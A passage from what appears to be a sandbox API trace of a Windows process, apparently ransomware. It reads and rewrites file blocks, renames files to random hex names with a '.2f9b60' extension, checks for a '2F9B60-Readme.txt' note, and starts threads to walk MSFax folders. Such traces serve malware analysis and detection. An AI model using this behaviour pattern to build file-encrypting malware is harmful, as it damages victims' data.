lpNewFilePointer=0x0) returned 1 [0160.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1190 [0160.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1220 [0160.653] NtQuerySystemTime (in: CurrentTime=0x3c8cf740 | out: CurrentTime=0x3c8cf740*=132462177657886000) returned 0x0 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x7da75b20 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x1d6d4c5e [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0xaa3733b [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x20d471c8 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x24669e0f [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x9c94c91 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x598b21c3 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x7b4073c6 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x5416bfaa [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x5577dbc6 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x5c932947 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x166685c4 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x352e91e2 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x59c15044 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x27e9a830 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x7cb88733 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x4da19607 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x12abddce [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x1e0bf55f [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x7beeb1e [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x7d7c8260 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x2351daa7 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x752d91ff [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x6cca97f8 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x519506b9 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x4081e59c [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x3c2f1dc4 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x626d9377 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x7cf59ba [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x66eccee1 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x76dddac2 [0160.653] RtlRandomEx (in: Seed=0x3c8cf730 | out: Seed=0x3c8cf730) returned 0x626d9377 [0160.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1250 [0160.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0160.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1280 [0160.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0160.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1220) returned 1 [0160.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201d00b0 [0160.662] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.662] ReadFile (in: hFile=0x2850, lpBuffer=0x201d00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3c8cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x201d00b0*, lpNumberOfBytesRead=0x3c8cf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.189] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c80 [0161.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3c80) returned 1 [0161.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2019b4e0 [0161.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c80 [0161.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3cb0 [0161.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3cb0) returned 1 [0161.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.191] WriteFile (hFile=0x2850, lpBuffer=0x2019b4e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3c8cf7a0, lpOverlapped=0x0) [0198.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2019b4e0) returned 1 [0198.366] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.366] ReadFile (in: hFile=0x2850, lpBuffer=0x201d00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3c8cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x201d00b0*, lpNumberOfBytesRead=0x3c8cf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.026] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bf20 [0199.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bf20) returned 1 [0199.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42375950 [0199.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bf20 [0199.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bf50 [0199.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bf50) returned 1 [0199.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.029] WriteFile (in: hFile=0x2850, lpBuffer=0x42375950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3c8cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x42375950*, lpNumberOfBytesWritten=0x3c8cf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42375950) returned 1 [0214.223] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.223] ReadFile (in: hFile=0x2850, lpBuffer=0x201d00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3c8cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x201d00b0*, lpNumberOfBytesRead=0x3c8cf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.224] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1340 [0214.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1340) returned 1 [0214.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42375950 [0214.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1340 [0214.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1370 [0214.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1370) returned 1 [0214.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.228] WriteFile (in: hFile=0x2850, lpBuffer=0x42375950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3c8cf7a0, lpOverlapped=0x0 | out: lpBuffer=0x42375950*, lpNumberOfBytesWritten=0x3c8cf7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42375950) returned 1 [0214.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b8645a0 [0214.230] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.230] WriteFile (in: hFile=0x2850, lpBuffer=0x431f5fe0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3c8cf850, lpOverlapped=0x0 | out: lpBuffer=0x431f5fe0*, lpNumberOfBytesWritten=0x3c8cf850*=0x150, lpOverlapped=0x0) returned 1 [0217.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0217.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0217.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1160 [0217.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1160) returned 1 [0217.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a1160 [0217.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1130 [0217.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1070 [0217.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1070) returned 1 [0217.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0217.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0217.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1b82c030 [0217.561] sprintf (in: _Dest=0x1b82c030, _Format="%c%c" | out: _Dest="99") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c032, _Format="%c%c" | out: _Dest="2a") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c034, _Format="%c%c" | out: _Dest="21") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c036, _Format="%c%c" | out: _Dest="4d") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c038, _Format="%c%c" | out: _Dest="13") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c03a, _Format="%c%c" | out: _Dest="28") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c03c, _Format="%c%c" | out: _Dest="70") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c03e, _Format="%c%c" | out: _Dest="3d") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c040, _Format="%c%c" | out: _Dest="2b") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c042, _Format="%c%c" | out: _Dest="ff") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c044, _Format="%c%c" | out: _Dest="1d") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c046, _Format="%c%c" | out: _Dest="58") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c048, _Format="%c%c" | out: _Dest="85") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c04a, _Format="%c%c" | out: _Dest="7b") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c04c, _Format="%c%c" | out: _Dest="6b") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c04e, _Format="%c%c" | out: _Dest="e1") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c050, _Format="%c%c" | out: _Dest="eb") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c052, _Format="%c%c" | out: _Dest="cf") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c054, _Format="%c%c" | out: _Dest="ed") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c056, _Format="%c%c" | out: _Dest="7f") returned 2 [0217.561] sprintf (in: _Dest=0x1b82c058, _Format="%c%c" | out: _Dest="39") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c05a, _Format="%c%c" | out: _Dest="15") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c05c, _Format="%c%c" | out: _Dest="19") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c05e, _Format="%c%c" | out: _Dest="34") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c060, _Format="%c%c" | out: _Dest="4d") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c062, _Format="%c%c" | out: _Dest="cb") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c064, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c066, _Format="%c%c" | out: _Dest="19") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c068, _Format="%c%c" | out: _Dest="f0") returned 2 [0217.562] sprintf (in: _Dest=0x1b82c06a, _Format="%c%c" | out: _Dest="76") returned 2 [0217.562] RtlInitAnsiString (in: DestinationString=0x3c8cf8c8, SourceString="992a214d1328703d2bff1d58857b6be1ebcfed7f391519344dcb0c19f076" | out: DestinationString="992a214d1328703d2bff1d58857b6be1ebcfed7f391519344dcb0c19f076") [0217.562] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c8cf898, SourceString="992a214d1328703d2bff1d58857b6be1ebcfed7f391519344dcb0c19f076", AllocateDestinationString=1 | out: DestinationString="992a214d1328703d2bff1d58857b6be1ebcfed7f391519344dcb0c19f076") returned 0x0 [0217.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a2220 [0217.563] wcscat (in: _Dest=0x431a2190, _Source="992a214d1328703" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\992a214d1328703") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\992a214d1328703" [0217.563] wcscat (in: _Dest=0x431a2190, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\992a214d1328703.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\992a214d1328703.2f9b60" [0217.563] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\992a214d1328703.2f9b60", NtPathName=0x3c8cf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\992a214d1328703.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce181e0 [0222.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce181e0) returned 1 [0222.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b8900) returned 1 [0222.742] NtQueryInformationFile (in: FileHandle=0x2850, IoStatusBlock=0x3c8cf8d8, FileInformation=0x3c8cf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c8cf8d8, FileInformation=0x3c8cf8e8) returned 0x0 [0222.742] NtSetInformationFile (FileHandle=0x2850, IoStatusBlock=0x3c8cf8d8, FileInformation=0x3c8cf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2190) returned 1 [0224.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2220) returned 1 [0224.122] FlushFileBuffers (hFile=0x2850) returned 1 [0224.239] CloseHandle (hObject=0x2850) returned 1 [0225.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202afcd0 [0225.420] wcscpy (in: _Dest=0x202afcd0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0225.420] wcscat (in: _Dest=0x202afcd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" [0225.420] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\2f9b60-readme.txt")) returned 0x2020 [0226.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afcd0) returned 1 [0226.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420602b0) returned 1 Thread: id = 2700 os_tid = 0x229c [0157.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1c60 [0157.732] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0157.732] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0157.732] wcscat (in: _Dest=0x1b7c1c60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*" [0157.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ca70 [0157.732] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86250 [0157.733] wcscmp (_String1=".", _String2=".") returned 0 [0157.733] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.733] wcscmp (_String1="..", _String2=".") returned 1 [0157.733] wcscmp (_String1="..", _String2="..") returned 0 [0157.733] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1 [0157.733] wcscmp (_String1="ActivityLog", _String2=".") returned 1 [0157.733] wcscmp (_String1="ActivityLog", _String2="..") returned 1 [0157.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cebe600 [0157.733] wcscpy (in: _Dest=0x1cebe600, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0157.733] wcscat (in: _Dest=0x1cebe600, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0157.733] wcscat (in: _Dest=0x1cebe600, _Source="ActivityLog" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog" [0158.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cebe600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16bc [0158.258] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1 [0158.258] wcscmp (_String1="Common Coverpages", _String2=".") returned 1 [0158.258] wcscmp (_String1="Common Coverpages", _String2="..") returned 1 [0158.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced3100 [0158.258] wcscpy (in: _Dest=0x1ced3100, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0158.258] wcscat (in: _Dest=0x1ced3100, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0158.258] wcscat (in: _Dest=0x1ced3100, _Source="Common Coverpages" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" [0158.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced3100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac [0158.259] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1 [0158.259] wcscmp (_String1="Inbox", _String2=".") returned 1 [0158.259] wcscmp (_String1="Inbox", _String2="..") returned 1 [0158.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c2440 [0158.259] wcscpy (in: _Dest=0x1b7c2440, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0158.259] wcscat (in: _Dest=0x1b7c2440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0158.259] wcscat (in: _Dest=0x1b7c2440, _Source="Inbox" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox" [0158.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20 [0158.260] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1 [0158.260] wcscmp (_String1="Queue", _String2=".") returned 1 [0158.260] wcscmp (_String1="Queue", _String2="..") returned 1 [0158.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1aa0 [0158.260] wcscpy (in: _Dest=0x1b7c1aa0, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0158.260] wcscat (in: _Dest=0x1b7c1aa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0158.260] wcscat (in: _Dest=0x1b7c1aa0, _Source="Queue" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned="C:\\Users\\All Users\\Microsoft\\Windows 